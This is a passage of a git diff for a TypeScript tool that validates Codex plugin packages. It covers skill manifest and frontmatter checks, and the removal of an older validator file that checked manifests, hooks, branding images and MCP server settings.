`skills/${skillId}/SKILL.md`; + if (!assets.has(manifestPath)) { + report(context, 'CODEX_SKILL_MANIFEST_MISSING', `Skill directory "${skillId}" must contain SKILL.md.`, ['skills', skillId]); + return; + } + try { + /** 从已物化候选读取最终 Skill Markdown。 */ + const source = await fs.readFile(path.join(context.candidate.root, pluginRoot, manifestPath), 'utf8'); + /** Frontmatter 与正文使用固定边界,拒绝缺失或未闭合标记。 */ + const match = /^---\r?\n([\s\S]*?)\r?\n---(?:\r?\n|$)([\s\S]*)$/u.exec(source); + if (match === null) { + report(context, 'CODEX_SKILL_FRONTMATTER_INVALID', `${manifestPath} must start with closed YAML frontmatter.`); + return; + } + /** 已从正则边界提取的 YAML frontmatter。 */ + const frontmatter = parseYamlObject(context, match[1]!, manifestPath); + if (frontmatter === undefined) + return; + /** frontmatter 声明的 Skill 机器名称。 */ + const name = frontmatter.name; + if (typeof name !== 'string' || !SKILL_ID_PATTERN.test(name)) { + report(context, 'CODEX_SKILL_NAME_INVALID', `${manifestPath} name must use lowercase kebab-case.`); + } else { + /** Skill name 按平台最终选择器语义执行大小写不敏感唯一性。 */ + const key = name.toLocaleLowerCase('en-US'); + if (names.has(key)) + report(context, 'CODEX_SKILL_NAME_DUPLICATE', `Skill name "${name}" is duplicated.`); + names.add(key); + if (name !== skillId) + report(context, 'CODEX_SKILL_NAME_MISMATCH', `${manifestPath} name must match its directory ID "${skillId}".`); + if (pluginName !== undefined && `${pluginName}:${name}`.length > 64) + report(context, 'CODEX_SKILL_IDENTITY_TOO_LONG', `Plugin and Skill identity "${pluginName}:${name}" exceeds 64 characters.`); + } + if (typeof frontmatter.description !== 'string' + || frontmatter.description.trim().length === 0 + || frontmatter.description.length > 1_024) { + report(context, 'CODEX_SKILL_DESCRIPTION_INVALID', `${manifestPath} description must contain 1 to 1024 characters.`); + } + if (match[2]!.trim().length === 0) + report(context, 'CODEX_SKILL_BODY_EMPTY', `${manifestPath} instructions must not be empty.`); + await validateSkillMetadata(context, assets, pluginRoot, skillId); + } catch { + report(context, 'CODEX_SKILL_READ_FAILED', `${manifestPath} must be readable UTF-8 Markdown.`); + } +} + +/** + * 校验 `skills/` 根下每个直接子目录及其内容协议。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param assets 当前 Package 的 Asset 路径集合。 + * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 + * @param pluginName 当前 Plugin 的稳定机器名称。 + */ +export async function validateSkills( + context: PlatformValidateContext, + assets: ReadonlySet, + pluginRoot: string, + pluginName: string | undefined, +): Promise { + /** 从任意 Skill Asset 收集的直接子目录 ID。 */ + const directories = new Set(); + for (const asset of assets) { + if (!asset.startsWith('skills/')) + continue; + /** 当前 Skill Asset 的 POSIX 路径片段。 */ + const segments = asset.split('/'); + if (segments.length < 3 || segments[1] === '') { + report(context, 'CODEX_SKILL_PATH_INVALID', `Invalid Skill Asset path "${asset}".`, ['skills']); + continue; + } + directories.add(segments[1]!); + if (asset.endsWith('/SKILL.md') && segments.length !== 3) + report(context, 'CODEX_SKILL_MANIFEST_NESTED', 'SKILL.md must be an immediate child of its Skill directory.', ['skills', segments[1]!]); + } + if (directories.size === 0) { + report(context, 'CODEX_SKILL_REQUIRED', 'A Codex Plugin must contain at least one immediate child Skill.', ['skills']); + return; + } + /** 已验证 Skill frontmatter 名称的全局唯一性集合。 */ + const names = new Set(); + /** skillId 表示当前排序后的 Skill,用于生成确定诊断顺序。 */ + for (const skillId of [...directories].sort(compareCodeUnits)) { + if (!SKILL_ID_PATTERN.test(skillId)) + report(context, 'CODEX_SKILL_DIRECTORY_INVALID', `Skill directory "${skillId}" must use lowercase kebab-case.`, ['skills', skillId]); + await validateSkill(context, assets, pluginRoot, pluginName, skillId, names); + } +} diff --git a/packages/platforms/codex/src/types.ts b/packages/platforms/codex/src/types.ts index a011d32..76adaf7 100644 --- a/packages/platforms/codex/src/types.ts +++ b/packages/platforms/codex/src/types.ts @@ -1,7 +1,7 @@ import type { JsonValue, PluginAuthor } from '@tokenroll/acplugin/sdk'; -import type { CodexCategory, CodexMarketplaceInstallation } from './protocol.js'; +import type { CodexCategory, CodexMarketplaceInstallation } from './package/protocol.js'; -export type { CodexCategory, CodexMarketplaceInstallation } from './protocol.js'; +export type { CodexCategory, CodexMarketplaceInstallation } from './package/protocol.js'; /** Codex Plugin `interface` 中由平台工厂管理的展示选项。 */ export interface CodexInterfaceOptions { diff --git a/packages/platforms/codex/src/validator.ts b/packages/platforms/codex/src/validator.ts deleted file mode 100644 index 24bdef1..0000000 --- a/packages/platforms/codex/src/validator.ts +++ /dev/null @@ -1,1169 +0,0 @@ -import { promises as fs } from 'node:fs'; -import path from 'node:path'; -import type { JsonValue, ValidatePackageContext } from '@tokenroll/acplugin/sdk'; -import { imageSize } from 'image-size'; -import { parseDocument } from 'yaml'; -import { MARKETPLACE_MANIFEST_PATH, PLUGIN_MANIFEST_PATH } from './manifest.js'; -import { - CODEX_BRAND_COLOR_PATTERN, - CODEX_CATEGORIES, - CODEX_INTERFACE_FIELDS, - CODEX_INTERFACE_REQUIRED_FIELDS, - CODEX_MARKETPLACE_INSTALLATIONS, - CODEX_SKILL_PRODUCTS, - codexInterfaceFieldIssue, - isCodexHttpsUrl, - parseCodexSvgDimensions, -} from './protocol.js'; - -/** Codex validator 只消费 SDK 的最终 Package candidate Context。 */ -type PlatformValidateContext = ValidatePackageContext; - -/** Codex Plugin Manifest 允许出现的当前官方根字段。 */ -const PLUGIN_FIELDS = new Set([ - 'id', 'name', 'version', 'description', 'author', 'homepage', 'repository', 'license', 'keywords', - 'skills', 'mcpServers', 'apps', 'hooks', 'interface', -]); - -/** Codex Plugin `interface` 允许出现的当前官方字段。 */ -const INTERFACE_FIELDS = new Set(CODEX_INTERFACE_FIELDS); - -/** Codex Skill `agents/openai.yaml` 允许出现的根字段。 */ -const SKILL_METADATA_FIELDS = new Set(['interface', 'policy', 'dependencies']); - -/** Codex Skill 元数据 `interface` 允许出现的 snake_case 字段。 */ -const SKILL_INTERFACE_FIELDS = new Set([ - 'display_name', 'short_description', 'icon_small', 'icon_large', 'brand_color', 'default_prompt', -]); - -/** - * 按 UTF-16 code unit 比较 Codex Skill ID,不依赖宿主 locale/ICU。 - * - * @param left 左侧 ID。 - * @param right 右侧 ID。 - * @returns 与 Array.sort 约定一致的 -1、0 或 1。 - */ -function compareCodeUnits(left: string, right: string): number { - if (left === right) - return 0; - return left < right ? -1 : 1; -} - -/** Codex Skill 元数据 `policy` 允许出现的字段。 */ -const SKILL_POLICY_FIELDS = new Set(['products', 'allow_implicit_invocation']); - -/** Codex Skill 元数据支持的产品范围。 */ -const SKILL_PRODUCTS = new Set(CODEX_SKILL_PRODUCTS); - -/** Codex Marketplace 根清单允许出现的字段。 */ -const MARKETPLACE_FIELDS = new Set(['name', 'interface', 'plugins']); - -/** Codex Marketplace 每个 Plugin 条目允许出现的字段。 */ -const MARKETPLACE_PLUGIN_FIELDS = new Set(['name', 'source', 'policy', 'category']); - -/** Codex Marketplace 当前支持的安装策略。 */ -const INSTALLATION_POLICIES = new Set(CODEX_MARKETPLACE_INSTALLATIONS); - -/** Codex 官方插件目录当前接受的分类。 */ -const CATEGORIES = new Set(CODEX_CATEGORIES); - -/** Codex Plugin 名称允许使用的官方 ASCII 规则。 */ -const PLUGIN_NAME_PATTERN = /^[\dA-Za-z][\dA-Za-z_-]*$/; - -/** 保守验证完整 Semantic Version 的规则。 */ -const SEMVER_PATTERN = /^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-[\dA-Za-z-]+(?:\.[\dA-Za-z-]+)*)?(?:\+[\dA-Za-z-]+(?:\.[\dA-Za-z-]+)*)?$/; - -/** Canonical 与 fallback Skill 最终目录使用的小写 kebab-case 规则。 */ -const SKILL_ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; - -/** 多 Plugin Marketplace 的本地来源必须使用稳定单元目录。 */ -const MARKETPLACE_PLUGIN_SOURCE_PATTERN = /^\.\/plugins\/[a-z0-9]+(?:-[a-z0-9]+)*$/; - -/** Codex 目录品牌图片支持的文件扩展名。 */ -const BRANDING_IMAGE_EXTENSIONS = new Set(['.png', '.jpg', '.jpeg', '.webp', '.svg']); - -/** Codex 目录品牌图片允许的最大字节数。 */ -const MAX_BRANDING_IMAGE_BYTES = 5 * 1024 * 1024; - -/** Codex 当前公开并可以从 Plugin 生命周期配置触发的 Hook 事件。 */ -const HOOK_EVENTS = new Set([ - 'SessionStart', 'SessionEnd', 'UserPromptSubmit', 'PreToolUse', 'PermissionRequest', 'PostToolUse', - 'PreCompact', 'PostCompact', 'SubagentStart', 'SubagentStop', 'Stop', -]); - -/** Codex `hooks.json` 顶层允许出现的字段。 */ -const HOOK_CONFIG_FIELDS = new Set(['description', 'hooks']); - -/** 单个 Codex Hook matcher 分组允许出现的字段。 */ -const HOOK_GROUP_FIELDS = new Set(['matcher', 'hooks']); - -/** 当前可执行 Codex command Hook Handler 允许出现的字段。 */ -const HOOK_HANDLER_FIELDS = new Set([ - 'type', 'command', 'commandWindows', 'command_windows', 'timeout', 'statusMessage', - 'additionalContextLimit', 'async', -]); - -/** Codex 本地 stdio MCP descriptor 允许的字段。 */ -const MCP_STDIO_FIELDS = new Set(['command', 'args', 'cwd', 'env', 'env_vars']); - -/** Codex 远程 HTTP MCP descriptor 允许的字段。 */ -const MCP_HTTP_FIELDS = new Set([ - 'url', 'bearer_token_env_var', 'scopes', 'http_headers', 'env_http_headers', -]); - -/** Codex 运行时环境变量名称的保守规则。 */ -const ENV_NAME_PATTERN = /^[A-Za-z_][A-Za-z0-9_]*$/; - -/** JSON 对象的运行时可索引类型。 */ -type JsonRecord = Record; - -/** - * 判断未知值是否为非数组 JSON 对象。 - * - * @param value 从候选清单解析的未知值。 - * @returns 可以按字段读取时返回 true。 - */ -function isRecord(value: unknown): value is JsonRecord { - return value !== null && typeof value === 'object' && !Array.isArray(value); -} - -/** - * 向 Core 提交 Codex 候选校验错误。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param code 稳定诊断码。 - * @param message 不包含宿主绝对路径的错误信息。 - * @param fieldPath 可选的清单字段位置。 - */ -function report( - context: PlatformValidateContext, - code: string, - message: string, - fieldPath?: readonly (string | number)[], -): void { - context.diagnostics.report({ - code, - severity: 'error', - message, - ...(fieldPath === undefined ? {} : { fieldPath }), - }); -} - -/** - * 从候选安装根读取并解析 JSON 文件。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param assetPath 候选根内的规范 Asset 路径。 - * @returns JSON 对象;缺失或格式错误时提交诊断并返回 undefined。 - */ -async function readJson( - context: PlatformValidateContext, - assetPath: string, -): Promise { - try { - /** 从 Core 已安全物化的候选根读取清单文本。 */ - const source = await fs.readFile(path.join(context.candidate.root, assetPath), 'utf8'); - /** JSON.parse 的未知结果仍需验证顶层对象形态。 */ - const value: unknown = JSON.parse(source); - if (!isRecord(value)) { - report(context, 'CODEX_MANIFEST_OBJECT_REQUIRED', `${assetPath} must contain a JSON object.`); - return undefined; - } - return value; - } catch { - report(context, 'CODEX_MANIFEST_READ_FAILED', `${assetPath} must be present and contain valid JSON.`); - return undefined; - } -} - -/** - * 解析 YAML 并要求顶层为普通映射。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param source 待解析的 YAML 文本。 - * @param assetPath 用于稳定诊断的相对 Asset 路径。 - * @returns 无语法错误的 JSON 兼容对象,否则返回 undefined。 - */ -function parseYamlObject( - context: PlatformValidateContext, - source: string, - assetPath: string, -): JsonRecord | undefined { - try { - /** 保留 YAML parser errors 以拒绝重复键和其他不规范输入。 */ - const document = parseDocument(source, { uniqueKeys: true }); - if (document.errors.length > 0) - throw new Error('Malformed YAML.'); - /** YAML 文档转换后的未知顶层值。 */ - const value: unknown = document.toJSON(); - if (!isRecord(value)) { - report(context, 'CODEX_YAML_OBJECT_REQUIRED', `${assetPath} must contain a YAML mapping.`); - return undefined; - } - return value; - } catch { - report(context, 'CODEX_YAML_INVALID', `${assetPath} must contain valid YAML.`); - return undefined; - } -} - -/** - * 判断清单路径引用是否严格位于当前 Plugin 安装根。 - * - * @param reference Codex Manifest 中的相对路径。 - * @returns 路径使用 `./`、不逃逸且不指向根本身时返回 true。 - */ -function isSafePluginReference(reference: string): boolean { - if (!reference.startsWith('./') || reference.includes('\\') || reference.includes('\0')) - return false; - /** 去掉协议前缀后执行 POSIX 规范化的路径片段。 */ - const relative = reference.slice(2); - /** 规范化路径用于拒绝空引用和父目录逃逸。 */ - const normalized = path.posix.normalize(relative); - return relative.length > 0 - && normalized !== '.' - && normalized !== '..' - && !normalized.startsWith('../') - && !path.posix.isAbsolute(normalized); -} - -/** - * 判断 Asset 集合是否包含被引用文件或目录。 - * - * @param assets 当前 Package 的规范路径集合。 - * @param reference 已通过安全规则验证的 Manifest 引用。 - * @returns 精确文件或目录前缀存在时返回 true。 - */ -function referenceExists(assets: ReadonlySet, reference: string): boolean { - /** 清单引用去掉 `./` 和结尾斜线后的 Asset 路径。 */ - const target = reference.slice(2).replace(/\/+$/u, ''); - if (assets.has(target)) - return true; - for (const asset of assets) { - if (asset.startsWith(`${target}/`)) - return true; - } - return false; -} - -/** - * 把 Distribution 中某个 Plugin 子树转换为安装根相对 Asset 集合。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param pluginRoot Plugin 相对于 Distribution 根的无前导点路径。 - * @returns 去掉 Plugin 根前缀后的 Asset 路径集合。 - */ -function scopedAssets(context: PlatformValidateContext, pluginRoot: string): ReadonlySet { - /** 根 Plugin 不需要过滤或裁剪路径。 */ - if (pluginRoot === '') - return new Set(context.candidate.unit.assets.map(asset => asset.path)); - /** 嵌套 Plugin 全部 Asset 共同使用的固定目录前缀。 */ - const prefix = `${pluginRoot}/`; - return new Set(context.candidate.unit.assets - .filter(asset => asset.path.startsWith(prefix)) - .map(asset => asset.path.slice(prefix.length))); -} - -/** - * 校验单个 Manifest 路径的安全性与存在性。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param assets 当前 Package 的 Asset 路径集合。 - * @param field 当前引用所属字段。 - * @param reference 待校验路径。 - * @param fieldPath 精确诊断位置。 - */ -function validateReference( - context: PlatformValidateContext, - assets: ReadonlySet, - field: string, - reference: string, - fieldPath: readonly (string | number)[], -): void { - if (!isSafePluginReference(reference)) { - report(context, 'CODEX_MANIFEST_REFERENCE_UNSAFE', `${field} must start with ./ and stay inside the Plugin root.`, fieldPath); - } else if (!referenceExists(assets, reference)) { - report(context, 'CODEX_MANIFEST_REFERENCE_MISSING', `${field} references a missing Plugin file or directory.`, fieldPath); - } -} - -/** - * 校验已存在的 Codex 目录品牌图片格式、字节数和方形尺寸。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 - * @param reference 相对于 Plugin 根的图片路径。 - * @param field Manifest 中声明图片的字段。 - * @param fieldPath 精确诊断位置。 - */ -async function validateBrandingImage( - context: PlatformValidateContext, - pluginRoot: string, - reference: string, - field: string, - fieldPath: readonly (string | number)[], -): Promise { - if (!isSafePluginReference(reference)) - return; - /** Manifest 引用转换后的候选根内 Asset 路径。 */ - const assetPath = reference.slice(2); - /** 图片文件名的规范小写扩展名。 */ - const extension = path.posix.extname(assetPath).toLocaleLowerCase('en-US'); - if (!BRANDING_IMAGE_EXTENSIONS.has(extension)) { - report(context, 'CODEX_BRANDING_IMAGE_FORMAT_UNSUPPORTED', `${field} must use PNG, JPEG, WebP, or SVG.`, fieldPath); - return; - } - try { - /** 从 Core 已物化的候选根读取实际图片字节。 */ - const bytes = await fs.readFile(path.join(context.candidate.root, pluginRoot, assetPath)); - if (bytes.byteLength > MAX_BRANDING_IMAGE_BYTES) { - report(context, 'CODEX_BRANDING_IMAGE_TOO_LARGE', `${field} must not exceed 5 MiB.`, fieldPath); - return; - } - /** SVG 与 Raster 解析后统一参与方形和范围校验的尺寸。 */ - let dimensions: { readonly width?: number; readonly height?: number }; - if (extension === '.svg') { - dimensions = parseCodexSvgDimensions(bytes); - } else { - /** Raster 继续使用二进制格式探测与安全解码。 */ - const raster = imageSize(bytes); - /** `.jpeg` 与 image-size 返回的 `jpg` 使用同一检测格式。 */ - const expectedType = extension === '.jpeg' ? 'jpg' : extension.slice(1); - if (raster.type !== expectedType) { - report(context, 'CODEX_BRANDING_IMAGE_CONTENT_MISMATCH', `${field} extension must match the detected image format.`, fieldPath); - } - dimensions = raster; - } - if (dimensions.width === undefined || dimensions.height === undefined - || dimensions.width !== dimensions.height - || dimensions.width < 48 - || dimensions.width > 4_096) { - report(context, 'CODEX_BRANDING_IMAGE_DIMENSIONS_INVALID', `${field} must be a square image between 48 and 4096 pixels.`, fieldPath); - } - } catch { - report(context, 'CODEX_BRANDING_IMAGE_DECODE_FAILED', `${field} must reference a readable, decodable image.`, fieldPath); - } -} - -/** - * 校验 Codex Plugin 安装界面字段和资源引用。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param assets 当前 Package 的 Asset 路径集合。 - * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 - * @param value Manifest 的 interface 候选。 - */ -async function validateInterface( - context: PlatformValidateContext, - assets: ReadonlySet, - pluginRoot: string, - value: JsonValue, -): Promise { - if (!isRecord(value)) { - report(context, 'CODEX_INTERFACE_OBJECT_REQUIRED', 'interface must be a JSON object.', ['interface']); - return; - } - for (const field of Object.keys(value)) { - if (!INTERFACE_FIELDS.has(field)) - report(context, 'CODEX_INTERFACE_FIELD_UNKNOWN', `Unknown Codex interface field "${field}".`, ['interface', field]); - } - /** 已报告纯值问题的字段不再进入资源存在性校验。 */ - const invalidFields = new Set(); - for (const field of CODEX_INTERFACE_FIELDS) { - /** 当前最终 interface 字段候选。 */ - const candidate = value[field]; - /** 当前字段是否属于 interface 存在时的四个必填展示字段。 */ - const required = (CODEX_INTERFACE_REQUIRED_FIELDS as readonly string[]).includes(field); - /** 必填字段缺失、类型错误或空白时只报告必填问题。 */ - const requiredInvalid = required && (typeof candidate !== 'string' || candidate.trim().length === 0); - if (candidate === undefined || requiredInvalid) { - if (required) { - report(context, 'CODEX_INTERFACE_FIELD_REQUIRED', `interface.${field} must be a non-empty string.`, ['interface', field]); - invalidFields.add(field); - } - continue; - } - /** 共享纯规则返回的第一个稳定问题。 */ - const issue = codexInterfaceFieldIssue(field, candidate); - if (issue !== undefined) { - report(context, issue.code, issue.message, ['interface', field]); - invalidFields.add(field); - } - } - for (const field of ['composerIcon', 'logo'] as const) { - /** 当前图片路径候选。 */ - const candidate = value[field]; - if (typeof candidate === 'string' && !invalidFields.has(field)) { - validateReference(context, assets, `interface.${field}`, candidate, ['interface', field]); - if (referenceExists(assets, candidate)) - await validateBrandingImage(context, pluginRoot, candidate, `interface.${field}`, ['interface', field]); - } - } - if (Array.isArray(value.screenshots) && !invalidFields.has('screenshots')) { - for (const [index, screenshot] of value.screenshots.entries()) - validateReference(context, assets, 'interface.screenshots', screenshot as string, ['interface', 'screenshots', index]); - } -} - -/** - * 校验 Codex Hook matcher 是可执行的正则字符串。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param value matcher 候选值。 - * @param fieldPath matcher 在最终 Hook 配置中的字段路径。 - */ -function validateHookMatcher( - context: PlatformValidateContext, - value: JsonValue, - fieldPath: readonly (string | number)[], -): void { - if (typeof value !== 'string') { - report(context, 'CODEX_HOOK_MATCHER_INVALID', 'Hook matcher must be a regular-expression string.', fieldPath); - return; - } - try { - /** 构造正则只用于验证 Codex 将要解析的表达式语法。 */ - const expression = new RegExp(value); - void expression; - } catch { - report(context, 'CODEX_HOOK_MATCHER_INVALID', 'Hook matcher must be a valid regular expression.', fieldPath); - } -} - -/** - * 校验 Codex command Hook Handler 的字段和平台限制。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param event 当前 Handler 所属事件。 - * @param value Handler 候选值。 - * @param fieldPath Handler 在最终 Hook 配置中的字段路径。 - */ -function validateHookHandler( - context: PlatformValidateContext, - event: string, - value: JsonValue, - fieldPath: readonly (string | number)[], -): void { - if (!isRecord(value)) { - report(context, 'CODEX_HOOK_HANDLER_INVALID', 'Hook handlers must be JSON objects.', fieldPath); - return; - } - if (value.type !== 'command') { - report(context, 'CODEX_HOOK_HANDLER_TYPE_INVALID', 'Codex currently executes only command Hook handlers.', [...fieldPath, 'type']); - return; - } - for (const field of Object.keys(value)) { - if (!HOOK_HANDLER_FIELDS.has(field)) - report(context, 'CODEX_HOOK_HANDLER_FIELD_UNKNOWN', `Unknown Codex command Hook field "${field}".`, [...fieldPath, field]); - } - if (typeof value.command !== 'string' || value.command.trim().length === 0) - report(context, 'CODEX_HOOK_COMMAND_INVALID', 'command Hook command must be a non-empty string.', [...fieldPath, 'command']); - /** Windows 命令同时兼容 JSON camelCase 和 TOML snake_case 字段。 */ - for (const field of ['commandWindows', 'command_windows'] as const) { - if (value[field] !== undefined && (typeof value[field] !== 'string' || value[field].trim().length === 0)) - report(context, 'CODEX_HOOK_WINDOWS_COMMAND_INVALID', `${field} must be a non-empty string.`, [...fieldPath, field]); - } - if (value.commandWindows !== undefined && value.command_windows !== undefined) { - report(context, 'CODEX_HOOK_WINDOWS_COMMAND_DUPLICATE', 'Use only one Windows command field spelling.', fieldPath); - } - if (value.timeout !== undefined - && (typeof value.timeout !== 'number' || !Number.isFinite(value.timeout) || value.timeout <= 0)) { - report(context, 'CODEX_HOOK_TIMEOUT_INVALID', 'Hook timeout must be a positive finite number of seconds.', [...fieldPath, 'timeout']); - } else if (event === 'SessionEnd' && typeof value.timeout === 'number' && value.timeout > 3) { - report(context, 'CODEX_HOOK_TIMEOUT_LIMIT', 'SessionEnd Hook timeout must not exceed 3 seconds.', [...fieldPath, 'timeout']); - } - if (value.statusMessage !== undefined - && (typeof value.statusMessage !== 'string' || value.statusMessage.trim().length === 0)) { - report(context, 'CODEX_HOOK_STATUS_INVALID', 'Hook statusMessage must be a non-empty string.', [...fieldPath, 'statusMessage']); - } - if (value.additionalContextLimit !== undefined - && (typeof value.additionalContextLimit !== 'number' - || !Number.isInteger(value.additionalContextLimit) - || value.additionalContextLimit < 0)) { - report(context, 'CODEX_HOOK_CONTEXT_LIMIT_INVALID', 'additionalContextLimit must be a non-negative integer.', [...fieldPath, 'additionalContextLimit']); - } - if (value.async !== undefined && typeof value.async !== 'boolean') - report(context, 'CODEX_HOOK_ASYNC_INVALID', 'command Hook async must be a boolean.', [...fieldPath, 'async']); -} - -/** - * 校验 Codex Hook 事件映射及其 matcher 分组。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param value `hooks` 字段中的事件映射候选。 - * @param fieldPath 事件映射在最终配置中的字段路径。 - */ -function validateHookEvents( - context: PlatformValidateContext, - value: JsonValue, - fieldPath: readonly (string | number)[], -): void { - if (!isRecord(value)) { - report(context, 'CODEX_HOOK_EVENTS_INVALID', 'hooks must contain an event mapping.', fieldPath); - return; - } - /** [event, groups] 表示当前遍历的 Codex 事件和 matcher 分组。 */ - for (const [event, groups] of Object.entries(value)) { - /** 当前事件在最终配置中的稳定字段路径。 */ - const eventPath = [...fieldPath, event]; - if (!HOOK_EVENTS.has(event)) { - report(context, 'CODEX_HOOK_EVENT_UNKNOWN', `Unknown Codex Hook event "${event}".`, eventPath); - continue; - } - if (!Array.isArray(groups) || groups.length === 0) { - report(context, 'CODEX_HOOK_GROUPS_INVALID', 'Each Hook event must contain one or more matcher groups.', eventPath); - continue; - } - /** [groupIndex, groupValue] 表示当前事件中的 matcher 分组。 */ - for (const [groupIndex, groupValue] of groups.entries()) { - /** 当前 matcher 分组的稳定字段路径。 */ - const groupPath = [...eventPath, groupIndex]; - if (!isRecord(groupValue)) { - report(context, 'CODEX_HOOK_GROUP_INVALID', 'Hook matcher groups must be JSON objects.', groupPath); - continue; - } - for (const field of Object.keys(groupValue)) { - if (!HOOK_GROUP_FIELDS.has(field)) - report(context, 'CODEX_HOOK_GROUP_FIELD_UNKNOWN', `Unknown Codex Hook group field "${field}".`, [...groupPath, field]); - } - if (groupValue.matcher !== undefined) - validateHookMatcher(context, groupValue.matcher, [...groupPath, 'matcher']); - if (!Array.isArray(groupValue.hooks) || groupValue.hooks.length === 0) { - report(context, 'CODEX_HOOK_HANDLERS_INVALID', 'Hook matcher groups must contain one or more handlers.', [...groupPath, 'hooks']); - continue; - } - /** [handlerIndex, handler] 表示当前 matcher 分组中的 Handler。 */ - for (const [handlerIndex, handler] of groupValue.hooks.entries()) - validateHookHandler(context, event, handler, [...groupPath, 'hooks', handlerIndex]); - } - } -} - -/** - * 校验 Codex `hooks.json` 顶层结构或 Plugin Manifest 内联事件映射。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param value 已解析的 Hook 配置对象。 - * @param fieldPath 配置在 Plugin Manifest 中的字段路径。 - * @param wrapped 是否要求配置使用 `hooks.json` 顶层包装。 - */ -function validateHookConfig( - context: PlatformValidateContext, - value: JsonRecord, - fieldPath: readonly (string | number)[], - wrapped: boolean, -): void { - if (!wrapped && value.hooks === undefined && value.description === undefined) { - validateHookEvents(context, value, fieldPath); - return; - } - for (const field of Object.keys(value)) { - if (!HOOK_CONFIG_FIELDS.has(field)) - report(context, 'CODEX_HOOK_CONFIG_FIELD_UNKNOWN', `Unknown Codex Hook config field "${field}".`, [...fieldPath, field]); - } - if (value.description !== undefined - && (typeof value.description !== 'string' || value.description.trim().length === 0)) { - report(context, 'CODEX_HOOK_DESCRIPTION_INVALID', 'Hook config description must be a non-empty string.', [...fieldPath, 'description']); - } - if (value.hooks === undefined) { - report(context, 'CODEX_HOOKS_REQUIRED', 'Hook config must contain a hooks event mapping.', [...fieldPath, 'hooks']); - return; - } - validateHookEvents(context, value.hooks, [...fieldPath, 'hooks']); -} - -/** - * 读取并校验 Plugin 根内被引用的 Codex `hooks.json`。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 - * @param reference 已通过安装根路径规则的 Hook 配置引用。 - * @param fieldPath 引用在 Plugin Manifest 中的字段路径。 - */ -async function validateHookFile( - context: PlatformValidateContext, - pluginRoot: string, - reference: string, - fieldPath: readonly (string | number)[], -): Promise { - try { - /** Hook 配置引用相对于当前 Plugin 根解析后的绝对候选路径。 */ - const hookPath = path.join(context.candidate.root, pluginRoot, reference.slice(2)); - /** JSON.parse 返回的未知配置值。 */ - const value: unknown = JSON.parse(await fs.readFile(hookPath, 'utf8')); - if (!isRecord(value)) { - report(context, 'CODEX_HOOK_CONFIG_OBJECT_REQUIRED', 'Hook config must contain a JSON object.', fieldPath); - return; - } - validateHookConfig(context, value, fieldPath, true); - } catch { - report(context, 'CODEX_HOOK_CONFIG_READ_FAILED', 'Hook config reference must contain valid JSON.', fieldPath); - } -} - -/** - * 校验 Hooks 字段允许的引用或内联配置,并验证最终配置内容。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param assets 当前 Package 的 Asset 路径集合。 - * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 - * @param value Hooks 字段候选。 - */ -async function validateHooks( - context: PlatformValidateContext, - assets: ReadonlySet, - pluginRoot: string, - value: JsonValue, -): Promise { - /** 校验并读取单个 Plugin 根路径引用。 */ - const validatePath = async (reference: string, fieldPath: readonly (string | number)[]): Promise => { - validateReference(context, assets, 'hooks', reference, fieldPath); - if (isSafePluginReference(reference) && referenceExists(assets, reference)) - await validateHookFile(context, pluginRoot, reference, fieldPath); - }; - if (typeof value === 'string') { - await validatePath(value, ['hooks']); - return; - } - if (isRecord(value)) { - validateHookConfig(context, value, ['hooks'], false); - return; - } - if (!Array.isArray(value) || value.length === 0) { - report(context, 'CODEX_HOOKS_INVALID', 'hooks must be a path, paths, an inline object, or inline objects.', ['hooks']); - return; - } - /** 全部为路径或全部为内联对象,避免依赖未声明的混合语义。 */ - const allPaths = value.every(item => typeof item === 'string'); - /** 内联 Hooks 数组是否全部为对象。 */ - const allObjects = value.every(isRecord); - if (!allPaths && !allObjects) { - report(context, 'CODEX_HOOKS_INVALID', 'hooks arrays must contain only paths or only inline objects.', ['hooks']); - return; - } - if (allPaths) { - for (const [index, reference] of value.entries()) - await validatePath(reference as string, ['hooks', index]); - return; - } - for (const [index, inline] of value.entries()) - validateHookConfig(context, inline as JsonRecord, ['hooks', index], false); -} - -/** 校验 Codex MCP 的字符串键值映射。 */ -function validateMcpStringMap( - context: PlatformValidateContext, - value: JsonValue | undefined, - code: string, - label: string, - fieldPath: readonly (string | number)[], - environmentValues = false, -): void { - if (value !== undefined && (!isRecord(value) || Object.entries(value).some(([key, entry]) => - key.trim().length === 0 || typeof entry !== 'string' || (environmentValues && !ENV_NAME_PATTERN.test(entry))))) { - report(context, code, `${label} must map non-empty names to valid string values.`, fieldPath); - } -} - -/** 校验 Codex 最终 `.mcp.json` 中的完整 Server 映射。 */ -function validateMcpServers(context: PlatformValidateContext, value: JsonValue, fieldPath: readonly (string | number)[]): void { - if (!isRecord(value)) { - report(context, 'CODEX_MCP_SERVERS_INVALID', 'Codex MCP config must contain a Server object mapping.', fieldPath); - return; - } - for (const [id, candidate] of Object.entries(value)) { - /** 当前 Server 在最终配置中的字段路径。 */ - const serverPath = [...fieldPath, id]; - if (!SKILL_ID_PATTERN.test(id) || !isRecord(candidate)) { - report(context, 'CODEX_MCP_SERVER_INVALID', 'MCP Server ids must use lowercase kebab-case and map to objects.', serverPath); - continue; - } - /** url/command 必须恰好选择一种传输。 */ - const remote = Object.hasOwn(candidate, 'url'); - /** command 表示 Plugin-local stdio 传输。 */ - const local = Object.hasOwn(candidate, 'command'); - if (remote === local) { - report(context, 'CODEX_MCP_TRANSPORT_INVALID', 'MCP Server must declare exactly one of url or command.', 